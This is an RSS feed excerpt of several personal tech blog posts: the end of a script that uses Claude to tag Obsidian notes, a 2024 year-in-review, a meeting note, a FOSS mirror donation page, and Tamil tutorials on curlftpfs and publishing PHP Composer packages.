<span class="giallo-l"><span>        api_key</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> os</span><span>.</span><span>getenv</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">ANTHROPIC_API_KEY</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span> api_key</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            raise</span><span style="color: light-dark(#005CC5, #6CB6FF);"> ValueError</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Please set ANTHROPIC_API_KEY environment variable</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>        model</span><span>.</span><span>key</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> api_key</span></span>
<span class="giallo-l"><span>    </span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Initialize and run the processor</span></span>
<span class="giallo-l"><span>    notes_dir</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/Users/karan/Notes/Obsidian/The Wall/Notes</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    processor</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> ObsidianNoteProcessor</span><span>(</span><span>notes_dir</span><span>)</span></span>
<span class="giallo-l"><span>    processor</span><span>.</span><span>process_vault</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">if</span><span style="color: light-dark(#005CC5, #6CB6FF);"> __name__</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">__main__</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span></span>
<span class="giallo-l"><span>    main</span><span>(</span><span>)</span></span></code></pre>
<p><img src="https://mrkaran.dev/images/obsd-cleanup.png" alt="image" /></p>
<p>The script is pretty straightforward – it reads each markdown file, extracts any existing frontmatter (because I don’t want to lose that!), and then asks Claude to analyze the content and generate appropriate frontmatter. It adds stuff like title, category, tags, status, priority.</p>
<p>What I love about this approach is that it’s <em>contextual</em>. Unlike regex-based approaches or keyword matching, the LLM actually understands what the note is about and can categorize it properly. A note about “Setting up BTRFS on Arch” automatically gets tagged with “linux”, “filesystem”, “arch” without me having to maintain a predefined list of tags. The categorization is probably better than what I’d have done manually at 2 AM while organizing my notes!</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Here's to Quarter Two of the 21st century]]></title>
            <link>https://www.evalapply.org/posts/hello-quarter-two-of-the-21st-century/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/hello-quarter-two-of-the-21st-century/index.html</guid>
            <pubDate>Wed, 01 Jan 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[The first quarter elapsed. Much happened. Much didn’t. We-who-are-reading-this-right-now are perhaps a bit bruised, disheveled, a little worse for the wear, and horribly hung over. But alive. Except you, Mx. LLM. Who knows what’s next?]]></description>
            <content:encoded><![CDATA[The first quarter elapsed. Much happened. Much didn’t. We-who-are-reading-this-right-now are perhaps a bit bruised, disheveled, a little worse for the wear, and horribly hung over. But alive. Except you, Mx. LLM. Who knows what’s next?]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>riff</category>
        </item>
        <item>
            <title><![CDATA[tholkappiyam discussion]]></title>
            <link>https://programmerlife1.wordpress.com/2024/12/23/tholkappiyam-discussion/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2024/12/23/tholkappiyam-discussion/</guid>
            <pubDate>Mon, 23 Dec 2024 17:19:27 GMT</pubDate>
            <description><![CDATA[Discussion – Dec 23, 2024Date and Time Dec 7, 2024 20:30-22:00 ISTMembers Joined Topics discussed Cosmetics: Where to maintain the code base ? Contribution Related: Language to be maintained in the code ? TBD Codebase: -> check point => Jan 20th.]]></description>
            <content:encoded><![CDATA[
<p class="wp-block-paragraph">Discussion &#8211; Dec 23, 2024<br>Date and Time</p>



<p class="wp-block-paragraph">Dec 7, 2024 20:30-22:00 IST<br>Members Joined</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
Boopalan S
Syed Jafer
Hariharan
</pre></div>


<p class="wp-block-paragraph">Topics discussed</p>



<h1 class="wp-block-heading">Cosmetics:</h1>



<p class="wp-block-paragraph">Where to maintain the code base ?</p>



<h1 class="wp-block-heading">Contribution Related:</h1>



<p class="wp-block-paragraph">Language to be maintained in the code ? TBD</p>



<h1 class="wp-block-heading">Codebase:</h1>



<ol class="wp-block-list">
<li>First Documentation &#8211; Just The Docs</li>
</ol>



<p class="wp-block-paragraph">-&gt; check point =&gt; Jan 20th.</p>



<ol start="2" class="wp-block-list">
<li>Code Structure &#8211; TBD</li>



<li>Parallel Test Cases &#8211; Pytest -&gt; Github Actions [Lint, Test] [Precommit hooks]</li>



<li>To collect more tc from Satyaraj Sir</li>
</ol>
]]></content:encoded>
            <author>Hariharan</author>
            <category>Uncategorized</category>
            <enclosure url="https://2.gravatar.com/avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e?s=96&d=identicon&r=G" length="0" type="image//avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e"/>
        </item>
        <item>
            <title><![CDATA[2024: A Year In Review]]></title>
            <link>https://mrkaran.dev/posts/2024/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/2024/</guid>
            <pubDate>Mon, 23 Dec 2024 06:30:00 GMT</pubDate>
            <description><![CDATA[2024 was indeed an important year for me as it marked several significant milestones. Quite happy with how this year was! Here’s
my reflection on this memorable year.
Life#
Got married to the prettiest and dearest Saumya 💗
Did my first international trip, exploring Europe
Bought a fun toy - Maruti Jimny 4x4
Relocated to Bangalore after working from home for 4+ years since Covid
Attended several amazing concerts:

Indian Ocean
Parvaaz
Blackstratblues
Anand Bhaskar Collective
Bandland
Travel#
Switzerland
Italy
Austria
Binsar
Cochin
Ajmer
Ranthambore
Pondicherry
Chennai
Projects#
Released v1.0.0 of Doggo - It hit frontpage of HN as well!
Built an expense tracker app - Gullak
Made a lot of small utility apps:

lil - URL shortener
silencer - Prometheus alerts <> Mattermost bridge
toru - Go modules proxy with caching
junbi - Server Setup and Hardening Tool
Ovenly Delights - Small bakery shop website
nomcfg - Nomad config generator
clx - Generate CLI commands using AI for common ops
Started working on a log analytics app - full focus on that in 2025. Read more
This year has been truly transformative, bringing together personal joy, professional growth, and exciting adventures. Looking forward to what 2025 has in store!]]></description>
            <content:encoded><![CDATA[<p>2024 was indeed an important year for me as it marked several significant milestones. Quite happy with how this year was! Here’s
my reflection on this memorable year.</p>
<h2 id="life">Life<a class="zola-anchor" href="#life" aria-label="Anchor link for: life">#</a></h2>
<ul>
<li>Got married to the prettiest and dearest Saumya 💗</li>
<li>Did my first international trip, exploring Europe</li>
<li>Bought a fun toy - Maruti Jimny 4x4</li>
<li>Relocated to Bangalore after working from home for 4+ years since Covid</li>
<li>Attended several amazing concerts:
<ul>
<li>Indian Ocean</li>
<li>Parvaaz</li>
<li>Blackstratblues</li>
<li>Anand Bhaskar Collective</li>
<li>Bandland</li>
</ul>
</li>
</ul>
<h2 id="travel">Travel<a class="zola-anchor" href="#travel" aria-label="Anchor link for: travel">#</a></h2>
<ul>
<li>Switzerland</li>
<li>Italy</li>
<li>Austria</li>
<li>Binsar</li>
<li>Cochin</li>
<li>Ajmer</li>
<li>Ranthambore</li>
<li>Pondicherry</li>
<li>Chennai</li>
</ul>
<h2 id="projects">Projects<a class="zola-anchor" href="#projects" aria-label="Anchor link for: projects">#</a></h2>
<ul>
<li>Released v1.0.0 of <a rel="external" href="https://doggo.mrkaran.dev/docs/">Doggo</a> - It hit frontpage of <a rel="external" href="https://news.ycombinator.com/item?id=40847699">HN</a> as well!</li>
<li>Built an expense tracker app - <a rel="external" href="https://github.com/mr-karan/gullak">Gullak</a></li>
<li>Made a lot of small utility apps:
<ul>
<li><a rel="external" href="https://github.com/mr-karan/lil">lil</a> - URL shortener</li>
<li><a rel="external" href="https://github.com/mr-karan/silencer">silencer</a> - Prometheus alerts &lt;&gt; Mattermost bridge</li>
<li><a rel="external" href="https://github.com/mr-karan/toru">toru</a> - Go modules proxy with caching</li>
<li><a rel="external" href="https://github.com/mr-karan/junbi">junbi</a> - Server Setup and Hardening Tool</li>
<li><a rel="external" href="https://chocolates.ovenlydelights.shop/">Ovenly Delights</a> - Small bakery shop website</li>
<li><a rel="external" href="https://github.com/mr-karan/nomcfg">nomcfg</a> - Nomad config generator</li>
<li><a rel="external" href="https://github.com/mr-karan/clx">clx</a> - Generate CLI commands using AI for common ops</li>
</ul>
</li>
<li>Started working on a log analytics app - full focus on that in 2025. <a rel="external" href="https://bsky.app/profile/mrkaran.bsky.social/post/3ldo7vzglnk2o">Read more</a></li>
</ul>
<p>This year has been truly transformative, bringing together personal joy, professional growth, and exciting adventures. Looking forward to what 2025 has in store!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Donate]]></title>
            <link>https://shrirangkahale.com/donate/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/donate/</guid>
            <pubDate>Fri, 13 Dec 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[I run a non-profit FOSS mirror service which serves thousands of people daily.
India is a vast country, and with increasing popularity of FOSS more and more mirrors are needed, when compared to other countries we have very few mirrors. We are working to improve the situation.
Currently we have a mirror node in three cities in India. Nagpur, Mumbai and Chennai. We are working on deploying another mirror node in Hyderabad.]]></description>
            <content:encoded><![CDATA[I run a non-profit FOSS mirror service which serves thousands of people daily.
India is a vast country, and with increasing popularity of FOSS more and more mirrors are needed, when compared to other countries we have very few mirrors. We are working to improve the situation.
Currently we have a mirror node in three cities in India. Nagpur, Mumbai and Chennai. We are working on deploying another mirror node in Hyderabad.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Kanchi-LUG : புதிய பயணம், புதிய பாதையில்]]></title>
            <link>https://programmerlife1.wordpress.com/2024/12/03/kanchilug-engine-mode/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2024/12/03/kanchilug-engine-mode/</guid>
            <pubDate>Tue, 03 Dec 2024 18:29:55 GMT</pubDate>
            <description><![CDATA[டிச, 3 2024 காஞ்சிபுரம் லினக்ஸ் பயனர் குழுவின் ஒருங்கிணைப்பாளர் பொறுப்பிலிருந்து விடுபடுவதாக திரு. பரமேஸ்வர் அருணாச்சலம் அவர்கள் வாராந்திர கூட்டத்திலும் ,மடல் பட்டியலிலும் அறிவித்திருந்தார். நான் காஞ்சி லினக்ஸ் பயனர் குழுவில் இணைந்ததில் இருந்து பரமேஸ்வர் அவர்கள் சிறப்பாக வாராந்திர மற்றும் மாதாந்திர கூட்டத்தினை நடத்திவந்தார். வரும் வாரங்களில் அவரைப் போலவே சிறப்பாக வாரந்திர மற்றும் மாதாந்திர கூட்டங்களை நடத்தும் ஒருங்கிணைப்பாளராக நான் பொறுபேற்றுக்கொள்ள இருக்கிறேன். சில பொறுப்புகளை ஏற்று நடத்துதலில் நல்ல நிர்வாக திறனை […]]]></description>
            <content:encoded><![CDATA[
<p class="wp-block-paragraph">டிச, 3 2024 </p>



<p class="wp-block-paragraph">காஞ்சிபுரம் லினக்ஸ் பயனர் குழுவின் ஒருங்கிணைப்பாளர் பொறுப்பிலிருந்து விடுபடுவதாக திரு. பரமேஸ்வர் அருணாச்சலம் அவர்கள் வாராந்திர கூட்டத்திலும் ,மடல்  பட்டியலிலும்  அறிவித்திருந்தார். </p>



<p class="wp-block-paragraph">நான் காஞ்சி லினக்ஸ் பயனர் குழுவில் இணைந்ததில் இருந்து பரமேஸ்வர் அவர்கள் சிறப்பாக வாராந்திர மற்றும் மாதாந்திர கூட்டத்தினை நடத்திவந்தார். </p>



<p class="wp-block-paragraph">வரும் வாரங்களில் அவரைப் போலவே சிறப்பாக வாரந்திர மற்றும் மாதாந்திர கூட்டங்களை நடத்தும் ஒருங்கிணைப்பாளராக நான் பொறுபேற்றுக்கொள்ள இருக்கிறேன். </p>



<p class="wp-block-paragraph">சில பொறுப்புகளை ஏற்று நடத்துதலில் நல்ல நிர்வாக திறனை பெறலாம். அப்படி நான் கற்பனவற்றையும் எழுதுகிறேன் வலைப்பதிவுகளாக&#8230;</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
            <author>Hariharan</author>
            <category>Uncategorized</category>
            <enclosure url="https://2.gravatar.com/avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e?s=96&d=identicon&r=G" length="0" type="image//avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e"/>
        </item>
        <item>
            <title><![CDATA[curlftpfs – ஒரு பார்வை]]></title>
            <link>https://programmerlife1.wordpress.com/2024/12/01/curlftpfs-a-glance/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2024/12/01/curlftpfs-a-glance/</guid>
            <pubDate>Sun, 01 Dec 2024 11:33:37 GMT</pubDate>
            <description><![CDATA[CurlFtpFS – A FTP filesystem based on cURL and FUSE ஆக என்ன பயன்? ஒரு ftp தளத்திலிருந்து கோப்பு மேலாளர்(nautilus,nemo…etc) மூலமாகவே ஒரு தளத்தினை வன்வட்டில் உள்ளது போலவே அணுக இயலும். எவ்வாறு நிறுவுவது? எனும் கட்டளையை இயக்கி நிறுவலாம். எவ்வாறு பயன்படுத்துவது? முதலில் நமது கோப்பு அமைப்பில் நாம் பயன்படுத்தபோகிற ftp தளத்திற்கு ஒரு கோப்புறை உருவாக்குக (கோப்புறைக்கு 777 அனுமதி வழங்கு). பின்னர் பின்வரும் கட்டளைகளில் எதாவது ஒன்றை இயக்கி […]]]></description>
            <content:encoded><![CDATA[
<p class="wp-block-paragraph">CurlFtpFS &#8211; A FTP filesystem based on cURL and FUSE</p>



<p class="wp-block-paragraph"><strong>ஆக என்ன பயன்? </strong></p>



<p class="has-medium-font-size wp-block-paragraph">ஒரு ftp தளத்திலிருந்து கோப்பு மேலாளர்(nautilus,nemo&#8230;etc) மூலமாகவே ஒரு தளத்தினை வன்வட்டில் உள்ளது போலவே அணுக இயலும். </p>



<p class="wp-block-paragraph"><strong>எவ்வாறு நிறுவுவது? </strong></p>



<pre class="wp-block-code"><code>sudo apt install curlftpfs</code></pre>



<p class="wp-block-paragraph">எனும் கட்டளையை இயக்கி நிறுவலாம்.</p>



<p class="wp-block-paragraph"><strong>எவ்வாறு பயன்படுத்துவது?</strong></p>



<p class="wp-block-paragraph">முதலில் நமது கோப்பு அமைப்பில் நாம் பயன்படுத்தபோகிற ftp தளத்திற்கு ஒரு கோப்புறை உருவாக்குக (கோப்புறைக்கு 777 அனுமதி வழங்கு).</p>



<pre class="wp-block-code"><code>mkdir my-ftp
chmod 700 my-ftp </code></pre>



<p class="wp-block-paragraph">பின்னர் பின்வரும் கட்டளைகளில் எதாவது ஒன்றை இயக்கி நாம் ftp தளத்தினை இணைக்கலாம். </p>



<pre class="wp-block-code"><code>curlftpfs ftp://username:password:ftpsite.com ~/my-ftp
(அ)
curlftpts ftpsite.com -o user="username:password" ~/my-ftp
(அ)
curlftpfs ftpsite.com  
</code></pre>



<p class="wp-block-paragraph"><strong>எந்த அளவு பாதுகாப்பானது ?</strong></p>



<p class="wp-block-paragraph">உங்களுக்கு உங்களுடைய ftp வழங்கியின் கடவுச்சொல் செயல்பாடு அளவில் (process level) பிற பயனர்களுக்கு தெரியாமல் இருக்க .netrc கோப்பில் பயனர் பெயர் மற்றும் கடவுச்சொல் ஆகியவற்றை காட்டாமல் பயன்படுத்தலாம். </p>



<p class="wp-block-paragraph">~/.netrc எனும் கோப்பினை உங்களது விருப்ப உரைதொகுப்பியில் திறக்கவும். கோப்பு இல்லையேல் புதியதொன்றை உருவாக்கிகொள்ளவும். </p>



<pre class="wp-block-preformatted">machine ftpsite.com username yourfancyusername password yourhardpassword</pre>



<p class="wp-block-paragraph">கோப்பினில் மேற்கண்டவாறு ftp தளத்தின் பெயர் பயனர் பெயர் மற்றும் கடவுச்சொல் ஆகியவற்றை சேமித்துக்கொள்ளவும். </p>



<p class="wp-block-paragraph">கோப்பு ஆனது 600 அனுமதி கொண்டிருப்பதை உறுதிசெய்துகொள்ளவும். உங்களது கடவுச்சொல் வெறும் உரையாக சேமிக்கப்பட்டிருக்கிறது. பிற பயனர்களின் தேவையற்ற அனுகலை இது தடுக்கிறது. </p>



<p class="wp-block-paragraph">FTP : கோப்பு அனுப்பும் நெறிமுறை plain text ஆக இருப்பதால் அதில் நீங்கள் பெரிய பாதுகாப்பை எதிர்ப்பார்க்க முடியாது உங்களுடைய திறன்பேசியின் hotspot , வீட்டில் இருக்கும் wifi மூலமாக மட்டுமே அணுகுவீர்கள் எனில் நல்லது. </p>



<p class="wp-block-paragraph">FTPS :  கோப்பு அனுப்பும் நெறிமுறை பாதுகாக்கப்பட்டது இதில் மறைப்பாக்கம் (encryption) மூலம் பாதுகாக்கப்படுவதால் ftp யை விட சற்று பாதுகாப்பானது </p>



<p class="wp-block-paragraph">SFTP : பாதுகாப்பான கோப்பு பரிமாற்ற நெறிமுறை ஆனது sshன் மறைப்பக்க யுக்திகளை பின்பற்றுவதால் மேற்சொன்ன மூன்றில் இது அதிக பாதுகாப்பினை வழங்குகிறது.  </p>



<p class="wp-block-paragraph"><a href="https://www.youtube.com/watch?v=-8ujxke3PG4">live-demo</a></p>



<figure class="wp-block-embed is-type-rich is-provider-embed-handler wp-block-embed-embed-handler wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe class="youtube-player" width="640" height="360" src="https://www.youtube.com/embed/-8ujxke3PG4?si=RVSmOw0ltgRInlTP&#038;version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=en&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox"></iframe>
</div></figure>



<p class="wp-block-paragraph">மேலும் அறிய </p>



<p class="wp-block-paragraph"><a href="https://curlftpfs.sourceforge.net/">https://curlftpfs.sourceforge.net/</a></p>



<p class="wp-block-paragraph"><a href="https://techworldkb.wordpress.com/2014/07/02/how-to-set-ftp-autologin-with-netrc-file-in-linux/">https://techworldkb.wordpress.com/2014/07/02/how-to-set-ftp-autologin-with-netrc-file-in-linux/</a></p>



<p class="wp-block-paragraph">FUSE- <a href="https://medium.com/@goamaral/fuse-filesystem-b44768f27aa2">https://medium.com/@goamaral/fuse-filesystem-b44768f27aa2</a></p>



<p class="wp-block-paragraph">வினாக்கள் இருப்பின் கமண்ட்ஸ் பகுதியில் கேட்கவும். </p>
]]></content:encoded>
            <author>Hariharan</author>
            <category>Uncategorized</category>
            <enclosure url="https://2.gravatar.com/avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e?s=96&d=identicon&r=G" length="0" type="image//avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e"/>
        </item>
        <item>
            <title><![CDATA[How to Create & Publish a PHP Package with Composer? – தமிழில்]]></title>
            <link>https://programmerlife1.wordpress.com/2024/11/08/how-to-create-publish-a-php-package-with-composer-%e0%ae%a4%e0%ae%ae%e0%ae%bf%e0%ae%b4%e0%ae%bf%e0%ae%b2%e0%af%8d/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2024/11/08/how-to-create-publish-a-php-package-with-composer-%e0%ae%a4%e0%ae%ae%e0%ae%bf%e0%ae%b4%e0%ae%bf%e0%ae%b2%e0%af%8d/</guid>
            <pubDate>Fri, 08 Nov 2024 17:59:26 GMT</pubDate>
            <description><![CDATA[அக், 13 2024 பிஹெச்பி பொதிகளை பிஹெச்பி கம்போசர்-உடன் உருவாக்க மற்றும் வெளியிடுவது ஒரு நேரடியான வழிமுறை இந்த வழிமுறையை பின்பற்றினால் நாம் எளிமையாக பிஹெச்பி சமூகத்துடன் நமது நிரல்களை பொதிவடிவத்தில் பகிர்ந்துகொள்ளலாம். கம்போசர் – (பிஹெச்பி சார்புகளின் நிர்வாகி) – PHP Dependency Manager தேவையானவை: உங்களது கணினியில் பின்வருவற்றை நிறுவி இருப்பது அவசியம். படிகள்: படி 1: நம்முடைய பொதிக்கான ஒரு கோப்புறையை உருவாக்கி கொள்ளவும். படி 2: கம்போசர் பொதியை துவக்குதல் நம் […]]]></description>
            <content:encoded><![CDATA[
<p class="wp-block-paragraph">அக், 13 2024</p>



<p class="wp-block-paragraph">பிஹெச்பி பொதிகளை பிஹெச்பி கம்போசர்-உடன் உருவாக்க மற்றும் வெளியிடுவது  ஒரு நேரடியான வழிமுறை இந்த வழிமுறையை பின்பற்றினால் நாம் எளிமையாக பிஹெச்பி சமூகத்துடன் நமது நிரல்களை பொதிவடிவத்தில் பகிர்ந்துகொள்ளலாம். </p>



<p class="wp-block-paragraph">கம்போசர் &#8211; (பிஹெச்பி சார்புகளின் நிர்வாகி) &#8211; PHP Dependency Manager</p>



<p class="wp-block-paragraph"><strong>தேவையானவை:</strong> </p>



<p class="wp-block-paragraph">உங்களது கணினியில் பின்வருவற்றை நிறுவி இருப்பது அவசியம். </p>



<ul class="wp-block-list">
<li>பிஹெச்பி (பதிப்பு 7.4 or அண்மை)</li>



<li>கம்பொசர் (அண்மை பதிப்பு)</li>



<li>கிட் (அண்மை பதிப்பு)</li>



<li>ஒரு கிட் ஹப் கணக்கு </li>



<li>பேக்கஜிஸ்ட் கணக்கு</li>
</ul>



<p class="wp-block-paragraph"><strong>படிகள்</strong>: </p>



<p class="wp-block-paragraph"><strong>படி 1:</strong> நம்முடைய பொதிக்கான ஒரு கோப்புறையை உருவாக்கி கொள்ளவும். </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
mkdir open-tamil
cd open-tamil
</pre></div>


<p class="wp-block-paragraph"><strong>படி 2</strong>: கம்போசர் பொதியை துவக்குதல்</p>



<p class="wp-block-paragraph">நம் கணினியில் கம்போசர் பொதியை துவக்க பின்வரும் கட்டளையை பயன்படுத்தவும். </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
composer init
</pre></div>


<p class="wp-block-paragraph">மேற்கண்ட கட்டளையை பயன்படுத்தும் கட்டளைவரி இடைமுகம் பின்வரும் கேள்விகளை கேட்கும் </p>



<p class="wp-block-paragraph"><strong>Package name:</strong>&nbsp;your-username/my-php-package</p>



<p class="wp-block-paragraph"><strong>Description:</strong>&nbsp;A sample PHP package</p>



<p class="wp-block-paragraph"><strong>Author:&nbsp;</strong>Your Name &lt;your-email@example.com&gt;</p>



<p class="wp-block-paragraph"><strong>Minimum Stability:&nbsp;</strong>stable (or leave blank)</p>



<p class="wp-block-paragraph"><strong>Package Type:</strong>&nbsp;library</p>



<p class="wp-block-paragraph"><strong>License:</strong>&nbsp;MIT</p>



<p class="wp-block-paragraph">இந்த கேள்விகளுக்கு விடையளித்த பின்பு பிறசார்புகளை கேட்கும் no கொடுக்கவும். </p>



<p class="wp-block-paragraph">இறுதியாக composer.json உருவாக்க தூண்டியில் yes கொடுத்து உருவாக்கி கொள்ளவும். </p>



<p class="wp-block-paragraph">படி 3 :</p>



<p class="wp-block-paragraph">composer.json கோப்பு உருவாக்கிய பிறகு அது பின்வருமாறு தோன்றும் </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
{
    "name": "your-username/my-php-package",
    "description": "A sample PHP package",
    "type": "library",
    "require": {
        "php": "&gt;=7.4"
    },
    "autoload": {
        "psr-4": {
            "MyPackage\\": "src/"
        }
    },
    "authors": &#91;
        {
            "name": "Your Name",
            "email": "your-email@example.com"
        }
    ],
    "license": "MIT"
}
</pre></div>


<p class="wp-block-paragraph">படி 4</p>



<p class="wp-block-paragraph">பின்னர் உங்களது குறிமுறையை கிட் பயன்படுத்தி கிட்ஹப்பில் பதிவேற்றவும். </p>



<p class="wp-block-paragraph">படி 5 </p>



<p class="wp-block-paragraph">குறியீட்டை கம்போசரில் பதிப்பிக்க பேக்கேஜிஸ்டில் உள்நுழையவும். பின்னர் submit பொத்தானை அழுத்தவும்</p>



<figure class="wp-block-image size-large"><img width="1024" height="460" data-attachment-id="556" data-permalink="https://programmerlife1.wordpress.com/2024/11/08/how-to-create-publish-a-php-package-with-composer-%e0%ae%a4%e0%ae%ae%e0%ae%bf%e0%ae%b4%e0%ae%bf%e0%ae%b2%e0%af%8d/image-3/" data-orig-file="https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image.png" data-orig-size="1353,608" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="image" data-image-description="" data-image-caption="" data-large-file="https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image.png?w=1024" src="https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image.png?w=1024" alt="" class="wp-image-556" srcset="https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image.png?w=1024 1024w, https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image.png?w=150 150w, https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image.png?w=300 300w, https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image.png?w=768 768w, https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image.png 1353w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">submit  பொத்தானை அழுத்தியவுடன் பொதியை எற்றும் பக்கம் திறக்கப்பட்டு உங்களது கிட்ஹப் கணக்கில் உள்ள பொதுவாக அனுமதியில் இருக்ககூடிய ரெபொசிடரியின் வலைமுகவரியை உள்ளிட்டு சரிபார்க்கும் பொத்தானை அழுத்தி சரிபார்த்துகொள்ளவும்.</p>



<p class="wp-block-paragraph">குறிப்பு : கம்போசரை பொறுத்தவகையில் பதிப்பிப்பவர் வென்டார் (vendor) என்று குறிப்பிடப்படுவர். நான் hariharan என்ற வென்டார் பெயரை பயன்படுத்தி இரு பொதிகளை பதிப்பித்துள்ளேன். </p>



<figure class="wp-block-image size-large"><img loading="lazy" width="1024" height="461" data-attachment-id="558" data-permalink="https://programmerlife1.wordpress.com/2024/11/08/how-to-create-publish-a-php-package-with-composer-%e0%ae%a4%e0%ae%ae%e0%ae%bf%e0%ae%b4%e0%ae%bf%e0%ae%b2%e0%af%8d/image-4/" data-orig-file="https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image-1.png" data-orig-size="1347,607" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="image" data-image-description="" data-image-caption="" data-large-file="https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image-1.png?w=1024" src="https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image-1.png?w=1024" alt="" class="wp-image-558" srcset="https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image-1.png?w=1024 1024w, https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image-1.png?w=150 150w, https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image-1.png?w=300 300w, https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image-1.png?w=768 768w, https://programmerlife1.wordpress.com/wp-content/uploads/2024/11/image-1.png 1347w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">புதிய பொதியை சரிபார்த்த பின் பொதியானது பதிப்பிக்க தயராகிவிடும். </p>



<p class="wp-block-paragraph">பார்க்க : </p>



<p class="wp-block-paragraph"><a href="https://packagist.org/packages/hariharan/open-tamil">https://packagist.org/packages/hariharan/open-tamil</a></p>



<p class="wp-block-paragraph"><a href="https://packagist.org/packages/hariharan/thirukural">https://packagist.org/packages/hariharan/thirukural</a></p>



<p class="wp-block-paragraph">நிறுவி பார்க்க:</p>



<pre class="wp-block-code"><code>composer require hariharan/thirukural

composer require hariharan/open-tamil</code></pre>
]]></content:encoded>
            <author>Hariharan</author>
            <category>Uncategorized</category>
            <category>composer</category>
            <category>kaniyam</category>
            <category>tamil</category>
